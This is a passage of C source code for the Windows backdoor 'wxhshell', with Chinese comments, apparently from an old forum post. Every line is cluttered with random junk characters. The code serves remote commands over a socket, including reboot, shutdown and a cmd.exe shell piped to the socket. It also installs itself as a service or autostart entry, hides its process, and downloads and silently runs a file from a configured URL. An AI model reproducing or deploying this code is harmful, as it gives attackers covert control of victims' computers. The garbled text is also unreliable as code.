  } PE;0 jgsiI  
  else { qI V`zZc  
6q  xUT  
    switch(cmd[0]) { z5o9\.y({  
  Fb<\(#t  
  // 帮助 p-(ADQS  
  case '?': { 9^Vx*KVrU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d@>k\6%j  
    break; bbPd&7  
  } i_ODgc`H  
  // 安装 )Ido|!]0d  
  case 'i': { si mX  
    if(Install()) q2j}64o _S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'BbTI,  
    else fY\tvo%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [%)B%h`XGf  
    break; KbuGf$Bv  
    } gx>mKSzy  
  // 卸载 7q{v9xKy  
  case 'r': { @SQ*/sw (c  
    if(Uninstall()) Fp|rMq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uTlT'9)  
    else KAZkVL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7i|hlk;  
    break; o}^vREO  
    } I3E8vi%B.  
  // 显示 wxhshell 所在路径 .pu`\BW>  
  case 'p': { Uf]Pd)D  
    char svExeFile[MAX_PATH]; t+)GB=C  
    strcpy(svExeFile,"\n\r"); \tw#p k  
      strcat(svExeFile,ExeFile); koWb@V]  
        send(wsh,svExeFile,strlen(svExeFile),0); OAnn`*5Up  
    break; OrH1fhh   
    } YDzF( ']o:  
  // 重启 XY t8vJ  
  case 'b': { m+gG &`&u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X)R] a]1A  
    if(Boot(REBOOT)) r`E1<aCr|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4oa P"T@6  
    else { T[!q&kFB  
    closesocket(wsh); _ L:w;Oy9T  
    ExitThread(0); my\oC^/9  
    } 3<' Q`H>  
    break; 3L!&~'.Ro  
    } nTtt$I@hW  
  // 关机 yNMwd.r[  
  case 'd': { I3[RaZ2z{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "?0 G^zu  
    if(Boot(SHUTDOWN)) xY}j8~k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^5@"|m1  
    else { +&zuI  
    closesocket(wsh); 7Caap/L:  
    ExitThread(0); o  >4>7  
    } U+A(.+d.  
    break; Ky~~Cd$  
    } %Ja{IWz9L  
  // 获取shell E,?aBRxy  
  case 's': { 8Carg~T@  
    CmdShell(wsh); @U.}Ei  
    closesocket(wsh); m=l3O:~J  
    ExitThread(0); tlxjs]{0E  
    break; kd4*Zab  
  } +n~rM'^4/  
  // 退出 ps;o[gB@5  
  case 'x': { nhxd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K[;,/:Y  
    CloseIt(wsh); U[ O!&:6  
    break; ~4X!8b_  
    } Mw7UU1 ei  
  // 离开 Q+js2?7^  
  case 'q': { cZ2, u,4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }~,cCtg:o  
    closesocket(wsh); J3SbyI!T  
    WSACleanup(); ;A'17B8  
    exit(1); l#f]KLv4N_  
    break; 9d(v^T  
        } > Vm  
  } ( 2(;u1  
  } :;u]Y7  
UlZ)|Ya<M  
  // 提示信息 /@}# K P=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cZF;f{t  
} v&,VC~RN-J  
  } ]T$w7puaJ  
QMpA~x_m  
  return; (eIxU&o'  
} Y0C<b*!"ST  
N<r0I-  
// shell模块句柄 X10TZ  
int CmdShell(SOCKET sock) <1%XN  
{ NbMH@6%E  
STARTUPINFO si; Fm~}A4  
ZeroMemory(&si,sizeof(si)); |N.q[>^R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Sd6b 2-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bN %MT#X  
PROCESS_INFORMATION ProcessInfo; {YLJKu!M  
char cmdline[]="cmd";  p.Yg-CA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _BaS\U%1(  
  return 0; n/Z =q?_  
} WSccR  
1,D ^,  
// 自身启动模式 aL6 5t\2  
int StartFromService(void) @9 tv N}  
{ I{UB!0H  
typedef struct 7ib<Cb>K  
{ <.XoC?j  
  DWORD ExitStatus; ,(?4T~  
  DWORD PebBaseAddress; RwHXn]1  
  DWORD AffinityMask; Os]M$c_88  
  DWORD BasePriority; %Ne>'252y  
  ULONG UniqueProcessId; XE%6c3s  
  ULONG InheritedFromUniqueProcessId; I}3K,w/7mi  
}   PROCESS_BASIC_INFORMATION; *Z(C' )7r  
5]ob;tAm  
PROCNTQSIP NtQueryInformationProcess; e%7P$.  
aV#;o9H{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9cPucKuj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "Z?":|%7  
Q*o4zW  
  HANDLE             hProcess; iJ#oI@s  
  PROCESS_BASIC_INFORMATION pbi; ;] o^u.PC  
j`hbQp\`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I=I%e3GEm  
  if(NULL == hInst ) return 0; <xz-7EqbwX  
u3!!_~6,z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G?(:Z=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y`Y}P1y*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Efd[ZJxS6  
`G{t<7[[;  
  if (!NtQueryInformationProcess) return 0; HYa!$P3}[  
ds[~Cp   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A|nU _*  
  if(!hProcess) return 0; -<.NEV  
}+3~y'k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2Rt ZTn  
@3D%i#2o&[  
  CloseHandle(hProcess); zOp"n\  
'm ((G4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *Y?]="8c#;  
if(hProcess==NULL) return 0; f 8U;T$)  
j0M;2 3@[  
HMODULE hMod; YR#1[fe*_  
char procName[255]; 0M.[) @  
unsigned long cbNeeded; ZS;kCdL   
ZXkAw sr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %"B$I>h  
^el:)$  
  CloseHandle(hProcess); Pk2 "\y@q/  
Z)4P>{  
if(strstr(procName,"services")) return 1; // 以服务启动 YZD]<ptR  
}RK9Onh3G  
  return 0; // 注册表启动 RH'R6  
} J#nEGl|a  
I<#kw)W!  
// 主模块 '1*MiFxKq  
int StartWxhshell(LPSTR lpCmdLine) ?!vW&KJZx  
{ .=D6<4#t  
  SOCKET wsl; :v48y.Ij7s  
BOOL val=TRUE; ;W:Q}[  
  int port=0; !%=k/|#  
  struct sockaddr_in door; RmCR"~   
s#sX r  
  if(wscfg.ws_autoins) Install(); )E|Bb=%  
>X,6  
port=atoi(lpCmdLine); IHfqW?  
.!! yj,bQz  
if(port<=0) port=wscfg.ws_port; sk/ Mh8z  
bZJiubBRI  
  WSADATA data; dD!SgK[Jv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N9Vcp~;  
c Ix(;[U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fW`F^G1R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BC+qeocg  
  door.sin_family = AF_INET; IS~oyFS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~yg9ZM  
  door.sin_port = htons(port);  _^ZII  
{:cA'6f.b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8'62[e|=7[  
closesocket(wsl); Yzz8:n  
return 1; >n62csO  
} p`0Tpgi  
B7C6Mau  
  if(listen(wsl,2) == INVALID_SOCKET) { N*;/~bt7 P  
closesocket(wsl); H(|v  
return 1; #{a<{HX  
} (C|%@61S  
  Wxhshell(wsl); zyE yZc?  
  WSACleanup(); v%w]Q B  
>@o*v*25  
return 0; T9 1Iz+j  
JKGZ0yn  
} 9:>vl0  
yo=d"*E4^  
// 以NT服务方式启动 mbK$Wp#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %G*D0pE  
{ XafyI*pOX  
DWORD   status = 0; E&AR=yqk  
  DWORD   specificError = 0xfffffff; w.jATMJ)F  
'AU!xG6OQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WJWrLu92\U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NgQl;$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aJ ts  
  serviceStatus.dwWin32ExitCode     = 0; wO9<An  
  serviceStatus.dwServiceSpecificExitCode = 0; Q*5d~Yr]R  
  serviceStatus.dwCheckPoint       = 0; |k0VJi  
  serviceStatus.dwWaitHint       = 0; 78"W ~`8  
VrG|/2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !.A>)+AK  
  if (hServiceStatusHandle==0) return; g$qh(Z_s  
nK[$ID  
status = GetLastError(); /WMLr5  
  if (status!=NO_ERROR) )/Vr 5b@  
{ a &j?"o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'AoH2 |  
    serviceStatus.dwCheckPoint       = 0; >=(e}~5y  
    serviceStatus.dwWaitHint       = 0; gkjZX wp  
    serviceStatus.dwWin32ExitCode     = status; n >^?BU  
    serviceStatus.dwServiceSpecificExitCode = specificError;  S_atEmQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZL Aq8X  
    return; 8~bPoWP  
  } 3ml|`S  
$n) w4p_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }% =P(%-  
  serviceStatus.dwCheckPoint       = 0; ) )Nc|`  
  serviceStatus.dwWaitHint       = 0; ~tWBCq 6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aNz%vbh\  
} /:DxB00  
b< rM3P;  
// 处理NT服务事件,比如:启动、停止 \]D;HR`vo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W~qo `r  
{ uE2Y n`Ha  
switch(fdwControl) ME(!xI//JZ  
{ fHiCuF  
case SERVICE_CONTROL_STOP: .T7ciD  
  serviceStatus.dwWin32ExitCode = 0; Kj7Osqu2bE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hH\(> 4l  
  serviceStatus.dwCheckPoint   = 0; `@90b 4u  
  serviceStatus.dwWaitHint     = 0; l40$}!!<  
  { 6 eBQ9XV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LLMkv!%D  
  }  Y+N87C<  
  return; sr\MQ?\fB  
case SERVICE_CONTROL_PAUSE: DmYm~hzJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pGC`HTo|  
  break; = 2k+/0ZbP  
case SERVICE_CONTROL_CONTINUE: la-+ `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;4 &~i  
  break; Ldu!uihx  
case SERVICE_CONTROL_INTERROGATE: N\u-8nE5  
  break; _VJb i,V  
}; -%A6eRShk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &&JMw6 &[`  
} <:p&P  
/[IK [  
// 标准应用程序主函数 P_;oSN|>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) REJ}T:  
{ .F]6uXd  
HZm44y$/  
// 获取操作系统版本 [x&&N*>N  
OsIsNt=GetOsVer(); 1Dbe0u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t :_7 O7  
OygYP  
  // 从命令行安装 ?E`J-ncP  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,W#y7 t  
/xmd]XM=_  
  // 下载执行文件 dZm{?\^_  
if(wscfg.ws_downexe) { a8N!jQc_m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1ayxE(vMcX  
  WinExec(wscfg.ws_filenam,SW_HIDE); R'{V&H^Z  
} UY==1\  
@U&|38  
if(!OsIsNt) { GV9"8M Z6  
// 如果时win9x,隐藏进程并且设置为注册表启动 .sLx6J%  
HideProc(); qAU]}Et/  
StartWxhshell(lpCmdLine); f7`y*9^  
} sU8D;ML7  
else \nLO.,  
  if(StartFromService()) 3RD Q{&J:  
  // 以服务方式启动 .RT5sj\d  
  StartServiceCtrlDispatcher(DispatchTable); 5Hr"}|J<8  
else }b-?Dm_H  
  // 普通方式启动 :{sX8U%  
  StartWxhshell(lpCmdLine); Mfgd;FsX#  
7S Qu  
return 0; d#(xP2  
}
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只看该作者 1 发表于: 2006-10-10
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